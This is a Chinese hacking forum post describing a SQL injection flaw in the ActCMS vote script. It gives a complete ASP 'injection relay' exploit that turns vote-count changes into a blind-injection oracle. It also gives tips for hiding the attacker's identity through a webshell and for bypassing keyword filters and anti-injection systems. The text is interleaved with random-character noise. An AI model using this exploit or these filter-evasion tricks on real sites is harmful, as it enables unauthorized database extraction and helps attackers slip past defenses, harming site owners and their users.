找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1944|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
8 C' l! g. P; v( F
看到ninty大牛的blog的一篇文章' \9 r: ^, w- q7 V3 N9 H3 ~3 T
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
7 O- Z, u) N, B3 u8 u2 d! c0 Z关于actcms漏洞的利用  by 3x qq:381862589, y- V+ P6 n9 V, q" }3 S, U5 ]# w
转载请注明以上# W8 s/ d$ v4 t, i$ f6 M4 a, }
漏洞文件:
# k( f2 ?7 e8 {; }: r  @: v. h/plus/vote/vote.asp* [& F( i% N) t1 o: X& M7 s. V. z
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    5 f( q1 V5 @1 |

9 v7 Y2 A: c* Q  `  A" I' L: W2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
/ ?8 k( \* V9 l, X3 C# ~
1 l; p3 v' v* T" p: G% W: @7 Y3    response.end   
' r, O; P2 _/ J4 a
( \6 X2 y) t% m( p9 E4    end if   
% U2 o. q  F( Q& k4 V% a3 B
9 _3 E0 y( @: C/ u5    for i=1 to request("voted").count    7 A' j; o$ r7 E. o0 X
; q, G: z/ {3 u" H9 e. O
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
+ K9 i/ S2 {5 c+ }' @& Z, Y8 P# q9 h
7    next   
3 c- H  u/ ^7 x( u0 d) h6 T* |, n' q- ^
8....   
! V( F8 b8 d, {9 H# w9 ]! U) f) A! U
9response.Redirect "index.asp?id="&id&""   
# K" f" I" l; F投票结束回跳转回index.asp这个投票结果页面
/ b& d6 ?% `1 m' Q1 d# V如果投票成功票数加1
& i; P5 w; s7 @7 ^0 u  n8 q. D            失败票数不变
# T+ y" ~8 x+ M' ~9 R( C2 L4 e如图:+ w2 {" R; ~$ }% ?8 V  K- \
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB), T  z: Z1 o  [8 ^9 w

, S$ O5 s, s' O4 Y) x& z2009-12-27 13:20
) |% V, a! _! b' `; o" N
: n5 |$ R& ?( }: q0 h8 X利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
& d! c: J) R; k; {+ r
2 ]" T' Y) O& w( n, b( i9 N0 e; h本帖隐藏的内容需要回复才可以浏览
$ E' J* \  U) H  J我们用注入中转来实现这个注入具体代码如下:
; r( I5 x3 O/ O/ v2 i2 }4 K. O! H先用寂寞的刺猬大牛的注入中转生成jmget.asp
0 w! v1 g: @+ c( O  N# U注入地址:http://localhost/actcms/plus/vote/vote.asp! W& {: J2 Z' I# O6 L
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项- L- g0 }  p' e3 V2 V; f. A2 L
) }0 A% h1 v7 }9 b, E
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% : {2 ~! O  ~2 l
6 |  D2 M) {  i9 v5 W! s! a1 u
02JmdcwName=request("jmdcw") 1 W* z2 n4 j* k# M- Y
. p4 o' O- A. z" O/ t
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
! {- @7 p( D9 l7 z9 k+ r( W. Z* Q2 b( V2 g7 G1 a* z; ]2 J* E
04JmStr="id=1&voted=-1 or 1="&JmdcwName * _% z% ]! T1 ]( L* C  [
: ^. b) r% r& S2 Q" {& A& w* w! I
05JmStr=URLEncoding(JmStr)
* Z1 r% N$ \& C$ r# F# H
: y, t( c1 z  w3 y9 z9 y06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", ?) }9 ~0 f4 @+ x0 R1 Y- X( ^
2 b& r1 \2 p# E: s
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
* K8 v1 F5 W; F' Y0 N: x9 e! ^% T( v
08testurl=testurl & "?" & JmStr ; `  `( M* l( v- V) l

" W6 q+ l+ i+ T8 p3 y* o0 L09JMUrl=JMUrl & "?" & JmStr % G: M& m9 I9 P) Y1 B
. R: {: r4 O/ o
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 G' Q8 T* @" h# @4 ^( h8 p$ [5 P+ l+ d& r$ T
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
7 {# N9 J/ m8 M1 @8 P  _1 H7 f( K$ j3 W" i2 U; _
12JmCok=replace(JmCok,chr(32),"%20")  
6 G6 o$ s; @. a% B1 Y$ b* N4 D) J  P  n! R, ~* ]& M' o
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 / [, E! c' O. v  L$ a

2 Z% n* O  Z, q14  ! [6 x! m: c  ^& D# ?7 M
: X" u4 p9 w. H5 y5 V5 l; B0 G1 X
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 4 D6 R- F  h! @
) ]9 [: G$ f0 N& F4 d- l
16  / ~1 G1 b6 j( f. S. W

! Y1 A+ z# N4 `% T, @0 H17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
  l4 F/ i- l( N& W0 D1 J/ U5 o1 v& I. B
18response.write test1&""&test2&""
1 L) s: k& P+ W% Q$ O: J9 N3 j0 V2 j# X* V) ?- M
19  
$ R5 w" j! U( p
, Y7 |/ O. ]- m( Y( {/ r% [' z20if test1=test2 then '如前后记录相等,表示失败
, K' x+ ^# W+ t( N. o( }! D
9 W6 T% C* ]; ], H$ G7 l21  response.write "failed"
: B8 a  C; Y; ?- X9 n) u- v8 |/ F
$ l; Y2 F' r1 i. Y. R+ X5 \. ^/ D% s22else
* g' K) H$ U5 Z! p. o, j. u1 h+ B
+ \4 e+ D5 o* l( f23  response.write "succeed"
' l1 T) f% V/ `
2 ?  e- h& I2 s- n, T0 A1 a24end if  
$ g' r+ ^# p4 \; Y+ P8 o
& @9 O% `2 t, I9 n25  5 O$ u. B8 G) \& i9 H+ y8 S& I

0 N" }  W: c2 h; M) p26response.write "by 3x"
; N4 u' ^: x$ j! a2 |% H( m; j2 f0 n4 A" Z- \4 h! g/ ^( L0 p
27  ; X& p2 n9 Z4 u8 p+ o& w3 y+ ^7 f5 S

. q3 S) ]3 J+ e+ ?: {% q# P28  
/ {5 o8 c( S( W6 u! g
# w; i# V" O" `! s3 ]0 y29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
: u+ C+ N% M! s' n# s. h$ U2 i( o
9 j6 v! k( ]0 Q! _% Z) ]2 w30Dim Http , B5 c" S; w! H/ n% W6 U& m8 e
  A8 j9 ~" g5 i0 y
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 9 k, W' H  P- ?1 q7 N
& E+ @! W! ~7 j6 j$ J6 z" q" X9 r
32With Http
  [; _! z7 M1 y6 W2 @% Q/ E, m6 Q/ R5 v# R% T- ~. G9 \! w. S
33  * h" F- J- m+ y

3 j- }1 R$ b* G- o' x1 x8 ?34.Open "GET",PostUrl,False
, [* I* I5 B; N2 J' h- A5 h( g8 L* y3 ~
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded". s' b  b* ^4 G

: r+ k  q% S, Y4 K36.SetRequestHeader "Referer",PostRef 8 C1 a. m3 K- s6 s! ^% s* w
" b3 l2 n. v; k$ Y, o7 i
37.SetRequestHeader "Cookie",PostCok
" I% M( ~. z8 n: k8 t
1 A  V6 }; X, Q& K3 Y38.Send () " A  R. E) i; b; i
# S, n' k' O$ Y$ ~8 d# M) Z# a
39PostData = .ResponseBody # X4 P) t  O9 L$ b6 j
: L/ z- p& ?$ u4 ^
40End With
5 f3 f" L* @" Q( s# K
1 L* j7 o/ n, `; t, E$ k41Set Http = Nothing
, ~4 ?( u) Y- r" {5 r9 I* [
! \7 C  w" }! e2 P) r42PostData =bytes2BSTR(PostData)
5 v2 [! X4 h0 c1 U
6 p6 A9 L. C5 v4 s* |43End Function
6 R3 a. H# P8 a
4 V+ g6 K8 V: P! j! E5 p* N& W9 H44  , s' U6 K; m7 ]
9 j# d' q) @+ R8 k8 J
45  ! K/ \/ F( G, o9 ]! H

) a& M' l% V4 w' e9 z" V: b46Function bytes2BSTR(vIn) 6 b# m9 Y% V, K; {. S( l! g
  W# n  N7 t1 s- E, g( n
47Dim strReturn
7 ^  y, k& I+ y7 [# A6 v/ X- i; M9 e( [
48Dim I, ThisCharCode, NextCharCode
: `5 v  j4 B" a2 E2 C. a1 B8 J2 ?& }8 o) `: b; o* _; ~
49strReturn = ""% C: i& l6 Z0 o0 B
" Q8 m2 v' ]( |0 Q2 a% _0 ^1 @/ O5 }
50For I = 1 To LenB(vIn) 6 h8 m( e4 B4 ?+ Z
6 q' f* o  a9 \$ P
51ThisCharCode = AscB(MidB(vIn, I, 1)) % u5 A5 S; Z. f+ C8 [! }
# Z# V# n) |  N& z2 h
52If ThisCharCode < &H80 Then/ |' {2 ]5 w& t% k! j- G" w
2 x' M6 d5 d0 y; @" Y6 L
53strReturn = strReturn & Chr(ThisCharCode) 4 t3 Z7 Q2 q. \0 j. d4 }

5 d) j$ {/ B3 ~- @) n% o- R54Else
/ g) G- @# i* g  l5 B* d) V+ n' T$ z0 c6 d
55NextCharCode = AscB(MidB(vIn, I + 1, 1))   T5 s1 w% [/ r0 g5 E! H6 ]0 J

% `* u& Y, x' {3 X* ^4 m56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) + d, o  W2 D* {/ V

7 R7 O$ z) f6 S  S# }& n' b: ^57I = I + 1
+ n& a) d: {5 V% {4 ~( z0 R! k  M6 d) n9 M9 o$ y
58End If/ T6 r4 y: T, R6 m. O

) Q* c( i' z3 o59Next2 N  F; R( Y2 v

: K* F! ?9 h1 v. {3 B$ D, g5 F60bytes2BSTR = strReturn
, i- a# c3 o6 H4 C9 L/ S1 t- }' e4 T* E0 `' F' o
61End Function7 Q/ j1 p# M$ \: D2 |, h3 X/ A
7 K$ K5 S! o& D: J
62  7 N# r! ~' k. r" O1 K4 t1 T! a

" l/ e4 w* R2 T- k/ A63Function URLEncoding(vstrin)  
2 y! w7 |7 G! {0 C- ]% J3 s+ I' x: o$ G4 G/ x6 @% f
64strReturn=""
& C8 K( H" {4 N2 e, i0 X1 N) {! m" a( C* t8 }9 |
65Dim i & g% l; K. l8 o, ~9 d7 I8 P1 S

$ m; g& `( s! Q3 H66For i=1 To Len(vstrin) 5 Q/ n* i: z  O
9 s! @! f* }* b, q( ?
67ThisChr=Mid(vstrin,i,1)
' Q; p$ p. o; T" K
$ C4 g8 h. {/ z  H. j68if Abs(Asc(ThisChr))< &HFF Then
. Q- n2 Q4 y) Y( H2 s: V# X- A$ Z$ X- D3 U( J% L
69strReturn=strReturn & ThisChr
9 g# D; D2 g/ ^7 y- Q4 D: A' ?$ O: K/ B+ C
70Else
* O5 ^$ {7 b" R( z7 @7 M' H9 g# U- m
4 B" S  H) V; }$ j) Z$ H' Y6 n71InnerCode=Asc(ThisChr) % b& x5 i. m+ e. K* c9 \
* ]( |, {) Y' X, y( x
72If InnerCode<0 Then
9 g! k9 W. H- o# ?1 L$ K& K9 L) z1 D
73InnerCode=InnerCode + &H10000
) Y4 y) c( t6 V- F. ~% o% a( ~3 z; G
74End If
$ O+ B& N! P$ L# f  r5 s9 v2 x! ]
) o0 L; R2 z0 D75Hight1=(InnerCode And &HFF00) \&HFF
) G( c) m9 d0 B( L$ V7 F0 D4 p8 n! A5 F% i, J) F
76Low1=InnerCode And &HFF
; u3 r! D9 ?6 [3 i' V. o! y
$ c* j4 I; q1 h# r9 L" d/ @, ~77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
. k' G+ E: M5 M- e* V6 U* x% M3 t
; _* Y7 X2 w* f, ^9 @4 K% s/ t/ B78End if
2 C/ e4 Q& h+ C2 U( V& B
( ]0 E0 V9 K0 ?* w0 I% D  I) L. L79Next
( L9 Q5 [  y# J2 ], o7 M$ R/ @% {6 T$ v% L
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 & c) v# D4 Q$ o' d0 q# _3 q
8 U( l1 G; j; N6 e$ \) P& c
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 , W% p2 h# \- E& v, \& r

# y- I' b8 L7 k; m& p  B82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
$ _5 G4 i$ _. B2 F8 V; c$ _8 d+ g0 W9 c
83URLEncoding=strReturn + U3 ?. `1 W8 x3 Z5 i: f

( X5 G  f! S& [8 u% _( q: ^9 R84End Function/ U5 G/ X! r/ [0 E4 [& E0 w# ]

  z3 f) S) @5 K85  
, m& D& W/ M8 v* h1 f# u) x1 ~" P2 H2 D2 P
86function getSt(body) + v6 R$ u' y- N. K$ p" ~" i

5 T" d  D" t) x87  startpot=instr(body,"投票人数:")+len("投票人数:")
1 g! I0 J7 }' r5 e9 G1 P* [+ U& X* K, u! g0 P5 o
88  endpot=instr(startpot,body," ")
. O0 |. Z( d# C+ C
7 C( V" D- W& m4 d, S, k89  getSt=mid(body,startpot,endpot-startpot) ; w9 B3 t* q! e$ Y& f6 F6 v
& n1 O2 K& s1 b7 t* i
90end function 9 K& Y; K- Y& h. B

8 ], z* y8 g+ t/ p- f91%>5 n: Z/ k1 Q3 q# b- h& D1 o! j
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
, _: r$ |# O9 n) k5 a测试下效果:; ?5 f# A8 e: t1 u' q+ N/ E" L4 M
投票成功:
5 W# k9 o! q* p" xhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
8 {. ~; C& a& R+ e- H) C
- M- G/ b6 \2 m. `9 `9 s7 i2009-12-27 13:299 e5 a! @- N9 d$ c
投票失败/ Y" \  p6 r2 i5 [" y" V$ W
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)6 I. ]6 e, P4 A7 o, b! f. |

( w& q; V( v9 T3 ?) f( w2009-12-27 13:291 V* Z2 w7 D% G: L! v, b
-------------------------------------------------------------------------------
" a' y# j1 w3 P8 z4 l1 b再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以: ^- c3 }, u% n2 d* I0 W/ ]
很抱歉。。。只能用单线程工具去注入。。。。。4 z' z3 p" v0 u6 ^- j8 q
所以失败。。。不好意思。。。
7 |/ A( j+ @" h& {$ G$ m) H2 P-------------------------------------------------------------------------------
2 r) s5 \! C% K5 y& r* D) Q. E; {) l4 [4 ]2 M
注入中转的一些其他应用& s, U; q# |! I3 n4 U2 F- d
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
/ [0 `- l. j& B9 k1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
5 R! V- e  n) p( R) [/ p# q% A1 d9 q' f2.post注入转成get型的注入,方便我们使用工具来跑
- |! ~/ ~" d# J& L; u) u3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
& h( v. B0 k7 u' h! B! j8 m4 w4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过+ G( k  r6 X: z/ P6 S$ Y
0 B* ^+ ]% |5 `7 L# t' k1 ?* j8 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表